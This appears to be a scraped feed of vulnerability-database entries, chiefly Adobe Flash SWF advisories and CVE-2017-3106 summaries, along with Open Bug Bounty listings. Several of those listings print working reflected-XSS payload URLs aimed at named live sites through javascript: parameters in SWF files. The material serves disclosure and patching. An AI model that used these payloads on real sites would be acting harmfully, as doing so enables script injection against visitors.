cisco.com XSS vulnerability

Vulnerable URL: https://www.cisco.com/web/learning/netacad/demos/FWLDemo/flash/ch01/122.swf?flashContentURL=javascript:confirm%27XSSPOSED%27 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 24.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...

Adobe Flash Player: Multiple vulnerabilities

Background The Adobe Flash Player is a renderer for the SWF file format, which is commonly used to provide interactive websites. Description Multiple vulnerabilities have been discovered in Adobe Flash Player. Please review the referenced CVE identifiers for details. Impact A remote attacker coul...

[SECURITY] Fedora 25 Update: autotrace-0.31.1-49.fc25

AutoTrace is a program for converting bitmaps to vector graphics. Supported input formats include BMP, TGA, PNM, PPM, and any format supported by ImageMagick, whereas output can be produced in Postscript, SVG, xfig, SWF, and others...

Critical: Red Hat Security Advisory: flash-plugin security update

An update for flash-plugin is now available for Red Hat Enterprise Linux 6 Supplementary. Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...

Adobe Flash Player Memory Corruption Vulnerability (CNVD-2017-32685)

Adobe Flash Player is a multimedia program player. A memory corruption vulnerability exists in Adobe Flash Player's handling of SWFs, which could be exploited by remote attackers to submit a specially crafted SWF file and trick the user into parsing it, which could crash the application or execut...

Adobe Flash Player Memory Corruption (APSB17-28: CVE-2017-11282)

A memory corruption vulnerability exists in Adobe Flash player. The vulnerability is due to an error in the text handling functionality. A remote attacker can exploit this vulnerability by enticing the user to open a crafted SWF file...

img.artlebedev.com XSS vulnerability

Vulnerable URL: https://img.artlebedev.com/samsung/ru6/saved/main1.swf?xmlUrl=http://spqr.zz.mu/main1.xml Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VI...

viklfoto.ru XSS vulnerability

Vulnerable URL: http://viklfoto.ru/flash/1/Photo%20Anatoliya/Photo%20Anatoliya1/flashdetection.swf?flashContentURL=javascript:alert'OPENBUGBOUNTY'=noflash.html=7=0=0=false=AFQjCNHL889eUgZsX-kcR-5U-NB2LLRA Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.12.2017...

arbfile.org XSS vulnerability

Open Bug Bounty ID: OBB-288256 Description| Value ---|--- Affected Website:| arbfile.org Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

Adobe Flash - Invoke Accesses Trait Out-of-Bounds

Adobe Flash - Invoke Accesses Trait Out-of-Bounds Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1320 The attached fuzzed swf file causes the traits of an ActionScript object to be accessed out of bounds. This can probably lead to exploitable type confusion. Proof of Concept:...

CVE-2017-3106

Adobe Flash Player versions 26.0.0.137 and earlier have an exploitable type confusion vulnerability when parsing SWF files. Successful exploitation could lead to arbitrary code execution...

CVE-2017-3106

Adobe Flash Player versions 26.0.0.137 and earlier have an exploitable type confusion vulnerability when parsing SWF files. Successful exploitation could lead to arbitrary code execution...

CVE-2017-3106

Adobe Flash Player versions 26.0.0.137 and earlier have an exploitable type confusion vulnerability when parsing SWF files. Successful exploitation could lead to arbitrary code execution...

UBUNTU-CVE-2017-3106

Adobe Flash Player versions 26.0.0.137 and earlier have an exploitable type confusion vulnerability when parsing SWF files. Successful exploitation could lead to arbitrary code execution...

Type confusion

Adobe Flash Player versions 26.0.0.137 and earlier have an exploitable type confusion vulnerability when parsing SWF files. Successful exploitation could lead to arbitrary code execution...

CVE-2017-3106

Adobe Flash Player versions 26.0.0.137 and earlier have an exploitable type confusion vulnerability when parsing SWF files. Successful exploitation could lead to arbitrary code execution...

CVE-2017-3106

Adobe Flash Player

Critical: Red Hat Security Advisory: flash-plugin security update

An update for flash-plugin is now available for Red Hat Enterprise Linux 6 Supplementary. Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...

CVE-2017-3106

Adobe Flash Player versions 26.0.0.137 and earlier have an exploitable type confusion vulnerability when parsing SWF files. Successful exploitation could lead to arbitrary code execution...

Adobe Flash Player Type Obfuscation Remote Code Execution Vulnerability

Adobe Flash Player is a cross-platform, browser-based multimedia player product from Adobe. The product supports cross-screen and browser viewing of applications, content and videos. A type-obfuscated remote code execution vulnerability exists in Adobe Flash Player 26.0.0.137 and prior versions...